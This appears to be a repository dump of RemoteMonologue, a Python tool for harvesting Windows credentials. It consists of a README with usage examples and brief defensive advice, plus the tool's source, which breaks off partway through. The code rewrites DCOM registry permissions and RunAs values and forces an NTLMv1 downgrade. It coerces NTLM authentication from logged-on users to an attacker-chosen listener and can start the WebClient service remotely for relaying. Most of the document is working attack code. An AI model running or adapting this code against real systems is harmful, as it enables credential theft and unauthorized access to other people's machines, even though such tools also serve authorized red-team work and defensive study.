[
  {
    "path": "README.md",
    "content": "# RemoteMonologue\n\nRemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by leveraging the Interactive User RunAs key and coercing NTLM authentications via DCOM. \n\nRead X-Force Red's [RemoteMonologue: Weaponizing DCOM for NTLM  Authentication Coercions] for detailed information.\n\n## **Features**  \n\n🔹 **Authentication Coercion via DCOM (`-dcom`)**  \n- Targets four DCOM objects (`ServerDataCollectorSet`, `FileSystemImage`, `MSTSWebProxy`, `UpdateSession`) to trigger an NTLM authentication against a specified listener (`-auth-to`).  \n\n🔹 **Credential Spraying (`-spray`)**  \n- Validate credentials across multiple systems while also capturing user credentials.  \n\n🔹 **NetNTLMv1 Downgrade Attack (`-downgrade`)**  \n- Force targets to use NTLMv1, making credential cracking and relaying easier.  \n\n🔹 **WebClient Service Abuse (`-webclient`)**  \n- Enables the WebClient service to facilitate HTTP-based authentication coercion.  \n\n🔹 **User Enumeration (`-query`)**  \n- Identify users with an active session on the target system.  \n\n**Note:** Local administrator privileges to the target system is required.  \n\n## **Setup**\n\n```bash\npip install impacket\n```\n\n## **Examples**\n\nBelow is an example of running RemoteMonologue with the NetNTLMv1 downgrade attack while using `Responder` as the listener. By default, if no DCOM option is specified, the tool uses the `ServerDataCollectorSet` DCOM object.\n\n```bash\nRemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade\n```\n\n![image](https://github.com/user-attachments/assets/ada8f741-754f-4c50-9743-a6d9145f7407)\n\n\nBelow is another example, this time the attack is executed using the `FileSystemImage` DCOM object and enabling the WebClient service to obtain an HTTP authentication, which is then relayed to LDAP using `ntlmrelayx`.\n\n```bash\nRemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage\n```\n\n![image](https://github.com/user-attachments/assets/f79d879a-ac4b-4436-a453-359d6e2eba72)\n\n\n## **Defensive Considerations**\n\nTo protect against and detect these techniques, there are several preventative and detection measures that can be implemented.\n\nPreventative measures:\n\n1.\tEnable LDAP Signing and Channel Binding: Configure LDAP signing enforcement and channel binding on domain controllers to protect the LDAP endpoint from relay attacks. Note: These settings will be enforced by default starting with Windows Server 2025.\n\n2.\tUpgrade to the Latest Windows Versions: Upgrade servers to Windows Server 2025 and workstations to Windows 11 version 24H2 to mitigate NetNTLM downgrade attacks, as NTLMv1 has been removed in these versions.\n\n3.\tEnforce SMB Signing: Enable and enforce SMB signing on Windows servers to prevent SMB relay attacks.\n\n4.\tImplement Strong Password Policies: Enforce strong password requirements to make password cracking attacks more challenging.\n\nDetection opportunities:\n\n1.\tMonitor Remote Access to DCOM Objects: Track access to the affected DCOM objects and their specific Properties and Methods to identify unusual activity.\n\n2.\tMonitor Registry Modifications: Monitor changes to the RunAs and LmCompatibilityLevel registry keys.\n\n3.\tTrack WebClient Service Activity: Monitor for instances where the WebClient service is enabled remotely, as this is used to facilitate HTTP-based NTLM authentications.\n\n\n\n[RemoteMonologue: Weaponizing DCOM for NTLM  Authentication Coercions]: https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions\n"
  },
  {
    "path": "RemoteMonologue.py",
    "content": "#!/usr/bin/python3\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport argparse\nimport logging\nimport sys\nimport time\nimport random\nimport string\nimport os\nimport struct\nimport socket\nimport re\nimport uuid\nimport codecs\n\nfrom impacket import version\nfrom impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \\\n    VARIANT, VARENUM, DISPATCH_METHOD, DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYPUTREF, DISPID_ARRAY\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \\\n    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \\\n    IRemUnknown2, INTERFACE\nfrom impacket.dcerpc.v5.dtypes import NULL, LONG, MAXIMUM_ALLOWED\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_target\nfrom impacket.krb5.keytab import Keytab\nfrom impacket.dcerpc.v5.transport import DCERPCTransportFactory\nfrom impacket import version\nfrom impacket.dcerpc.v5 import transport, rrp, scmr,lsat, lsad\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.crypto import encryptSecret\nfrom impacket.smbconnection import SMBConnection\nfrom impacket.ntlm import compute_lmhash, compute_nthash\nfrom impacket.smb3structs import *\nfrom impacket.ldap import ldaptypes\nfrom impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt\nfrom impacket.system_errors import ERROR_NO_MORE_ITEMS\nfrom impacket.dcerpc.v5.samr import SID_NAME_USE\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.dcerpc.v5 import ndr\nfrom impacket.dcerpc.v5.dcom import wmi\n\ntext_green = '\\033[92m'\ntext_blue = '\\033[36m'\ntext_yellow = '\\033[93m'\ntext_red = '\\033[91m'\ntext_end = '\\033[0m'\n\nclass RemoteMonologue:\n    def __init__(self, username='', password='', domain='', address='', hashes=None, aesKey=None,\n                 doKerberos=False, kdcHost=None, auth_to=None, output='', dcom='', downgrade=False, webclient=False, timeout=5):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__address = address\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = kdcHost\n        self.__auth_to = auth_to\n        self.__output = output\n        self.__timeout = timeout\n        self.__dcom = dcom\n        self.__downgrade = downgrade\n        self.__webclient = webclient\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def getInterface(self, interface, resp):\n        # Now let's parse the answer and build an Interface instance\n        objRefType = OBJREF(b''.join(resp))['flags']\n        objRef = None\n        if objRefType == FLAGS_OBJREF_CUSTOM:\n            objRef = OBJREF_CUSTOM(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_HANDLER:\n            objRef = OBJREF_HANDLER(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_STANDARD:\n            objRef = OBJREF_STANDARD(b''.join(resp))\n        elif objRefType == FLAGS_OBJREF_EXTENDED:\n            objRef = OBJREF_EXTENDED(b''.join(resp))\n        else:\n            logging.error(\"Unknown OBJREF Type! 0x%x\" % objRefType)\n\n        return IRemUnknown2(\n            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],\n                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],\n                      target=interface.get_target()))\n\n    def checkSMB(self):\n\n        # Test conection to port 445 with timeout\n        try:\n            sock = socket.create_connection((self.__address, 445), self.__timeout)\n        except Exception as e:\n            if str(e).find(\"timed out\") >= 0:\n                logging.error(f\"Failed to connect to port {self.__address}:445\")\n                if self.__output != None:\n                    output_file = open(self.__output, \"a\")\n                    output_file.write(\"[~] Failed to connect to port 445,\" + self.__address + \"\\n\")\n                    output_file.close()\n                return False\n\n            elif str(e).find(\"No route to host\") >= 0:\n                logging.error(f\"No route to host {self.__address}\")\n                if self.__output != None:\n                    output_file = open(self.__output, \"a\")\n                    output_file.write(\"[~] No route to host,\" + self.__address + \"\\n\")\n                    output_file.close()\n                return False\n            else:\n                logging.error(f\"Unknown error: {e}\")\n                return False\n\n        return True\n\n    def registry_modifications(self):\n\n        ntlmExists = False\n        ntlmVal = -1\n        ntlmCreated = False\n\n        if (self.__dcom != None):\n            logging.info(f\"Targeting {self.__dcom} COM object\")\n        else:\n            logging.info(\"Targeting ServerDataCollectorSet COM object\")\n\n\n        if ((self.__dcom != \"UpdateSession\" or self.__downgrade == True)):\n\n            if not self.__webclient:\n                if not self.checkSMB():\n                    return\n          \n            smbclient = SMBConnection(self.__address, self.__address)\n\n            if options.k is True:\n                smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )\n            else:\n                smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n\n            for attempt in range(3):\n                try:\n                    string_binding = r'ncacn_np:%s[\\pipe\\winreg]'\n                    rpc = transport.DCERPCTransportFactory(string_binding)\n                    rpc.set_smb_connection(smbclient)\n                    dce = rpc.get_dce_rpc()\n                    dce.connect()\n                    logging.debug(\"Connected to RemoteRegistry!\")\n                    break\n                except (Exception) as e:\n                    if str(e).find(\"STATUS_PIPE_NOT_AVAILABLE\") >= 0:\n                        logging.debug(\"STATUS_PIPE_NOT_AVAILABLE. Retrying in 0.5 seconds...\")\n                        time.sleep(0.5)\n                    else:\n                        logging.error(\"Failed to connect to RemoteRegistry:\", e)\n                        if self.__output != None:\n                            output_file = open(self.__output, \"a\")\n                            output_file.write(\"[-] Failed to connect to RemoteRegistry,\" + self.__address + \"\\n\")\n                            output_file.close()\n                        return\n\n        \n        dce.bind(rrp.MSRPC_UUID_RRP)\n\n        reg_handle = rrp.hOpenLocalMachine(dce)\n\n        if (self.__dcom != \"UpdateSession\"):\n\n            if (self.__dcom == \"ServerDataCollectorSet\" or self.__dcom == None):\n                registry_path = \"SOFTWARE\\\\Classes\\\\AppID\\\\{03837503-098b-11d8-9414-505054503030}\"\n            elif (self.__dcom == \"FileSystemImage\"):\n                registry_path = \"SOFTWARE\\\\Classes\\\\AppID\\\\{2C941FD1-975B-59BE-A960-9A2A262853A5}\"\n            elif (self.__dcom == \"MSTSWebProxy\"):\n                registry_path = \"SOFTWARE\\\\Classes\\\\AppID\\\\{C92A9617-0EAE-4235-BD2B-84540EF1FFA9}\"\n\n\n            # Open the registry key\n            key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                registry_path,\n                samDesired=(MAXIMUM_ALLOWED),\n            )\n\n\n            # Get the OWNER security descriptor\n            resp = rrp.hBaseRegGetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                scmr.OWNER_SECURITY_INFORMATION,\n            )\n\n            owner_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])\n\n            # Get the DACL security descriptor\n            resp = rrp.hBaseRegGetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                scmr.DACL_SECURITY_INFORMATION,\n            )\n\n            dacl_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])\n\n\n            rrp.hBaseRegCloseKey(dce, key_handle[\"phkResult\"])\n\n            \n            logging.debug(f\"Changing OWNER and DACL for {registry_path}\")\n\n\n            key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                registry_path,\n                samDesired=(WRITE_OWNER),\n            )\n\n            # Set Owner to Administrators\n            new_owner = (b'\\x01\\x00\\x00\\x80\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n                         b'\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05 \\x00\\x00\\x00 \\x02\\x00\\x00'\n                         )\n            \n            resp = self.hBaseRegSetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                new_owner,\n                scmr.OWNER_SECURITY_INFORMATION,\n                )\n\n            # Set Full Control to Administrators\n            new_dacl = (b'\\x01\\x00\\x04\\x94\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n                        b'\\x14\\x00\\x00\\x00\\x02\\x00\\xc4\\x00\\x06\\x00\\x00\\x00\\x00\\x02\\x28\\x00'\n                        b'\\x3f\\x00\\x0f\\x00\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x05\\x50\\x00\\x00\\x00'\n                        b'\\xb5\\x89\\xfb\\x38\\x19\\x84\\xc2\\xcb\\x5c\\x6c\\x23\\x6d\\x57\\x00\\x77\\x6e'\n                        b'\\xc0\\x02\\x64\\x87\\x00\\x02\\x14\\x00\\x19\\x00\\x02\\x00\\x01\\x01\\x00\\x00'\n                        b'\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00\\x00\\x02\\x18\\x00\\x3f\\x00\\x0f\\x00'\n                        b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00'\n                        b'\\x00\\x02\\x18\\x00\\x19\\x00\\x02\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05'\n                        b'\\x20\\x00\\x00\\x00\\x21\\x02\\x00\\x00\\x00\\x02\\x18\\x00\\x19\\x00\\x02\\x00'\n                        b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x0f\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\n                        b'\\x00\\x02\\x38\\x00\\x19\\x00\\x02\\x00\\x01\\x0a\\x00\\x00\\x00\\x00\\x00\\x0f'\n                        b'\\x03\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\xb0\\x31\\x80\\x3f\\x6c\\xbc\\x63\\x4c'\n                        b'\\x3c\\xe0\\x50\\xd1\\x97\\x0c\\xa1\\x62\\x0f\\x01\\xcb\\x19\\x7e\\x7a\\xa6\\xc0'\n                        b'\\xfa\\xe6\\x97\\xf1\\x19\\xa3\\x0c\\xce'\n                        )\n\n\n            rrp.hBaseRegCloseKey(dce, key_handle[\"phkResult\"])\n\n\n            key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                registry_path,\n                samDesired=(WRITE_DAC),\n            )\n\n            resp = self.hBaseRegSetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                new_dacl,\n                scmr.DACL_SECURITY_INFORMATION,\n                )\n\n            rrp.hBaseRegCloseKey(dce, key_handle[\"phkResult\"])\n\n\n            key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                registry_path,\n                samDesired=(MAXIMUM_ALLOWED),\n            )\n\n            # Add Interactive User value\n            logging.info(\"Setting RunAs value to Interactive User\")\n\n            ans = rrp.hBaseRegSetValue(\n                dce,\n                key_handle[\"phkResult\"],\n                \"RunAs\",\n                rrp.REG_SZ,\n                \"Interactive User\"\n                )\n\n            if(self.__dcom == \"MSTSWebProxy\"):\n\n            # Change \"LaunchPermission\" and \"AccessPermission\" values\n                LaunchPermission_data = rrp.hBaseRegQueryValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'LaunchPermission'\n                )\n\n                original_LaunchPermission = LaunchPermission_data[1]\n\n                new_LaunchPermission = (\n                    b'\\x01\\x00\\x04\\x80\\x60\\x00\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n                    b'\\x14\\x00\\x00\\x00\\x02\\x00\\x4c\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x14\\x00'\n                    b'\\x0b\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n                    b'\\x00\\x00\\x18\\x00\\x1f\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05'\n                    b'\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00\\x00\\x00\\x18\\x00\\x1f\\x00\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x2f\\x02\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00'\n                )\n\n                AccessPermission_data = rrp.hBaseRegQueryValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'AccessPermission'\n                )\n                original_AccessPermission = AccessPermission_data[1]\n\n                new_AccessPermission = (\n                    b'\\x01\\x00\\x04\\x80\\x60\\x00\\x00\\x00\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n                    b'\\x14\\x00\\x00\\x00\\x02\\x00\\x4c\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x14\\x00'\n                    b'\\x03\\x00\\x00\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x05\\x12\\x00\\x00\\x00'\n                    b'\\x00\\x00\\x18\\x00\\x07\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05'\n                    b'\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00\\x00\\x00\\x18\\x00\\x07\\x00\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x2f\\x02\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00'\n                    b'\\x01\\x02\\x00\\x00\\x00\\x00\\x00\\x05\\x20\\x00\\x00\\x00\\x20\\x02\\x00\\x00'\n                )\n\n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'LaunchPermission',\n                    rrp.REG_BINARY,\n                    new_LaunchPermission\n                    )\n\n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'AccessPermission',\n                    rrp.REG_BINARY,\n                    new_AccessPermission\n                    )\n\n\n        if(self.__downgrade):\n\n            logging.info(\"Running NetNTLMv1 downgrade attack\")\n            \n            ntlm_key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa',\n                samDesired=MAXIMUM_ALLOWED,\n                )\n\n            try:\n\n                ntlm_value = rrp.hBaseRegQueryValue(\n                    dce,\n                    ntlm_key_handle[\"phkResult\"],\n                    'LmCompatibilityLevel'\n                    )\n                \n                ntlmVal = ntlm_value[1]\n\n\n                if ntlmVal > 2:\n\n                    logging.debug(f\"Changing LmCompatibilityLevel to 2\")\n\n\n                    ans = rrp.hBaseRegSetValue(\n                        dce,\n                        ntlm_key_handle[\"phkResult\"],\n                        'LmCompatibilityLevel',\n                        rrp.REG_DWORD,\n                        2\n                        )\n\n                    ntlmExists = True\n\n                else:\n                    logging.debug(\"LmCompatibilityLevel is under 3, no need to change it\")\n\n            except (Exception) as e:\n                \n                logging.debug(\"No LmCompatibilityLevel value discovered. Adding LmCompatibilityLevel to 2\")\n                \n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    ntlm_key_handle[\"phkResult\"],\n                    'LmCompatibilityLevel',\n                    rrp.REG_DWORD,\n                    2\n                    )\n                \n                ntlmCreated = True\n\n            rrp.hBaseRegCloseKey(dce, ntlm_key_handle[\"phkResult\"])\n\n\n        # Run coercion attack\n        self.dcom_coerce()\n\n\n        if(self.__downgrade and (ntlmExists or ntlmCreated)):\n\n            ntlm_key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                'SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa',\n                samDesired=MAXIMUM_ALLOWED,\n                )\n\n            if(ntlmExists and ntlmVal >= 0):\n\n                logging.debug(f\"Reverting LmCompatibilityLevel back to {ntlmVal}\")\n\n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    ntlm_key_handle[\"phkResult\"],\n                    'LmCompatibilityLevel',\n                    rrp.REG_DWORD,\n                    ntlmVal\n                    )\n\n            elif (ntlmCreated):\n\n                logging.debug(\"Deleting LmCompatibilityLevel to revert back to its original configuration\")\n\n                ans = rrp.hBaseRegDeleteValue(\n                    dce,\n                    ntlm_key_handle[\"phkResult\"],\n                    'LmCompatibilityLevel',\n                    )\n\n            rrp.hBaseRegCloseKey(dce, ntlm_key_handle[\"phkResult\"])\n\n\n        if (self.__dcom != \"UpdateSession\"):\n\n            # Delete RunAs key\n            logging.debug(\"Removing RunAs value\")\n\n            ans = rrp.hBaseRegDeleteValue(\n                dce,\n                key_handle[\"phkResult\"],\n                'RunAs',\n                )\n\n            if(self.__dcom == \"MSTSWebProxy\"):\n\n                # Reset \"LaunchPermission\" and \"AccessPermission\"\n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'LaunchPermission',\n                    rrp.REG_BINARY,\n                    original_LaunchPermission\n                    )\n\n                ans = rrp.hBaseRegSetValue(\n                    dce,\n                    key_handle['phkResult'],\n                    'AccessPermission',\n                    rrp.REG_BINARY,\n                    original_AccessPermission\n                    )\n\n            rrp.hBaseRegCloseKey(dce, key_handle[\"phkResult\"])\n\n            logging.debug(\"Reverting OWNER and DACL registry permissions\")\n\n            key_handle = rrp.hBaseRegOpenKey(\n                dce,\n                reg_handle[\"phKey\"],\n                registry_path,\n                samDesired=(WRITE_OWNER | WRITE_DAC),\n            )\n\n            # Reset the DACL security descriptor\n            resp = self.hBaseRegSetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                dacl_security_descriptor,\n                scmr.DACL_SECURITY_INFORMATION,\n                )\n\n            # Reset the OWNER security descriptor\n            resp = self.hBaseRegSetKeySecurity(\n                dce,\n                key_handle[\"phkResult\"],\n                owner_security_descriptor,\n                scmr.OWNER_SECURITY_INFORMATION,\n                )\n\n            rrp.hBaseRegCloseKey(dce, key_handle[\"phkResult\"])        \n\n        rrp.hBaseRegCloseKey(dce, reg_handle[\"phKey\"])\n        dce.disconnect()\n\n\n    def hBaseRegSetKeySecurity(self, dce, hKey, pRpcSecurityDescriptor, securityInformation = scmr.OWNER_SECURITY_INFORMATION):\n        # Thank you @skelsec\n\n        #class BYTE_ARRAY(NDRUniConformantVaryingArray):\n        #   pass\n        #\n        #class PBYTE_ARRAY(NDRPOINTER):\n        #   referent = (\n        #       ('Data', BYTE_ARRAY),\n        #   )\n        #\n        #class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT):\n        #   structure =  (\n        #       ('lpSecurityDescriptor',PBYTE_ARRAY),\n        #       ('cbInSecurityDescriptor',DWORD),\n        #       ('cbOutSecurityDescriptor',DWORD),\n        #   )\n\n        #constuct the request\n\n        secdesc = rrp.RPC_SECURITY_DESCRIPTOR()\n        secdesc['lpSecurityDescriptor'] = pRpcSecurityDescriptor\n        secdesc['cbInSecurityDescriptor'] = len(pRpcSecurityDescriptor)\n        secdesc['cbOutSecurityDescriptor'] = len(pRpcSecurityDescriptor)\n\n        request = rrp.BaseRegSetKeySecurity()\n        request['hKey'] = hKey\n        request['SecurityInformation'] = securityInformation\n        request['pRpcSecurityDescriptor'] = secdesc\n        return dce.request(request)\n\n\n    def enableWebclient(self):\n\n        if not self.checkSMB():\n            return\n\n        stringbinding = r'ncacn_np:%s[\\pipe\\svcctl]' % self.__address\n        logging.debug('StringBinding %s'%stringbinding)\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n        rpctransport.setRemoteHost(self.__address)\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)\n\n        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n        dce = rpctransport.get_dce_rpc()\n\n        dce.connect()\n\n        dce.bind(scmr.MSRPC_UUID_SCMR)\n        rpc = dce\n        ans = scmr.hROpenSCManagerW(rpc)\n        scManagerHandle = ans['lpScHandle']\n        \n        try:\n            ans = scmr.hROpenServiceW(rpc, scManagerHandle, \"WebClient\"+'\\x00')\n            serviceHandle = ans['lpServiceHandle']\n        except Exception as e:\n            logging.error(f\"WebClient service not accessible on {self.__address}\")                \n            return\n\n    \n        logging.info(f\"Querying status for WebClient on {self.__address}\")\n        resp = scmr.hRQueryServiceStatus(rpc, serviceHandle)\n        state = resp['lpServiceStatus']['dwCurrentState']\n        if state == scmr.SERVICE_CONTINUE_PENDING:\n           logging.info(\"WebClient status: CONTINUE PENDING\")\n        elif state == scmr.SERVICE_PAUSE_PENDING:\n           logging.info(\"WebClient status: PAUSE PENDING\")\n        elif state == scmr.SERVICE_PAUSED:\n           logging.info(\"WebClient status: PAUSED\")\n        elif state == scmr.SERVICE_RUNNING:\n           logging.info(\"WebClient status: RUNNING\")\n        elif state == scmr.SERVICE_START_PENDING:\n           logging.info(\"WebClient status: START PENDING\")\n        elif state == scmr.SERVICE_STOP_PENDING:\n           logging.info(\"WebClient status: STOP PENDING\")\n        elif state == scmr.SERVICE_STOPPED:\n           logging.info(\"WebClient status: STOPPED\")\n        else:\n           logging.info(\"WebClient status: UNKNOWN. WebClient might not be installed on target system!\")\n\n\n        if state == scmr.SERVICE_RUNNING:\n            if (self.__dcom == \"UpdateSession\"):\n                logging.info(\"Targeting UpdateSession COM object\")\n                self.dcom_coerce()\n            else:\n                self.registry_modifications()\n\n        elif state == scmr.SERVICE_STOPPED:\n            logging.info(\"Starting WebClient service. Waiting 5 seconds...\")\n            scmr.hRStartServiceW(rpc, serviceHandle)\n            time.sleep(5)\n            if (self.__dcom == \"UpdateSession\"):\n                logging.info(\"Targeting UpdateSession COM object\")\n                self.dcom_coerce()\n            else:\n                self.registry_modifications()\n            logging.info(\"Stopping WebClient service\")\n            scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP)\n        \n        else:\n            logging.error(\"WebClient can't be started. Try again with -downgrade instead.\")\n\n        scmr.hRCloseServiceHandle(rpc, scManagerHandle)\n        dce.disconnect()\n\n        return\n\n\n    def run_query(self):\n\n        dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n        try:\n            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)\n            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)\n            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)\n            iWbemLevel1Login.RemRelease()\n\n        except  (Exception, KeyboardInterrupt) as e:\n            if logging.getLogger().level == logging.DEBUG:\n                import traceback\n                traceback.print_exc()\n            logging.error(str(e))\n            dcom.disconnect()\n            sys.stdout.flush()\n            sys.exit(1)\n\n        descriptor, _ = iWbemServices.GetObject('StdRegProv')\n        retVal = descriptor.EnumKey(2147483651,'\\x00')\n        descriptor.RemRelease()\n        iWbemServices.RemRelease()\n        dcom.disconnect()\n\n        sidRegex = \"^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$\"\n        index = 0\n        users = list()\n        while True:\n            try:\n                res = re.match(sidRegex, retVal.sNames[index])\n                if res:\n                    users.append(retVal.sNames[index])\n                index += 1\n            except:\n                break\n        \n\n        smbclient = SMBConnection(self.__address, self.__address)\n        if options.k is True:\n            smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip )\n        else:\n            smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n\n        lsaRpcBinding = r'ncacn_np:%s[\\pipe\\lsarpc]'\n        rpc = transport.DCERPCTransportFactory(lsaRpcBinding)\n        rpc.set_smb_connection(smbclient)\n        dce = rpc.get_dce_rpc()\n        dce.connect()\n        \n        dce.bind(lsat.MSRPC_UUID_LSAT)\n        \n        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)\n        policyHandle = resp['PolicyHandle']\n       \n        try:\n            resp = lsat.hLsarLookupSids(dce, policyHandle, users,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)\n        except DCERPCException as e:\n            if str(e).find('STATUS_NONE_MAPPED') >= 0:\n                pass\n            elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:\n                resp = e.get_packet()\n            else: \n                raise\n        if resp['TranslatedNames']['Names'] == []:\n            logging.error(\"No one is currently logged in\")\n        else:\n            logging.info(f\"Potential users logged on {self.__address}:\")\n            for item in resp['TranslatedNames']['Names']:\n                if item['Use'] != SID_NAME_USE.SidTypeUnknown:\n                    logging.info(f\"   {resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']}\\\\{item['Name']}\")\n        dce.disconnect()\n\n\n    def run(self):\n\n        if self.__webclient:\n            self.enableWebclient()\n            return\n\n        if (self.__dcom == \"UpdateSession\" and self.__downgrade):\n            self.registry_modifications()\n        elif (self.__dcom == \"UpdateSession\"):\n            logging.info(\"Targeting UpdateSession COM object\")\n            self.dcom_coerce()\n        else:\n            self.registry_modifications()\n\n\n    def dcom_coerce(self):\n        global text_green, text_blue, text_yellow, text_red, text_end\n\n\t   # Initiate DCOM connection\n        try:\n            # Timeout checker\n            stringBinding = r'ncacn_ip_tcp:%s[135]' % self.__address\n            transport = DCERPCTransportFactory(stringBinding)\n            transport.set_connect_timeout(self.__timeout)\n            dce = transport.get_dce_rpc()\n            dce.connect()\n\n\n            try:\n                dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,\n                                      self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)\n\n                dispParams = DISPPARAMS(None, False)\n                dispParams['rgvarg'] = NULL\n                dispParams['rgdispidNamedArgs'] = NULL\n                dispParams['cArgs'] = 0\n                dispParams['cNamedArgs'] = 0                \n\n                if (self.__dcom == \"UpdateSession\"):\n\n                    # UpdateSession CLSID for SYSTEM authentication\n                    iInterface = dcom.CoCreateInstanceEx(string_to_bin('4CB43D7F-7EEE-4906-8698-60DA1C38F2FE'), IID_IDispatch)\n\n                    iUpdateSession = IDispatch(iInterface)\n                    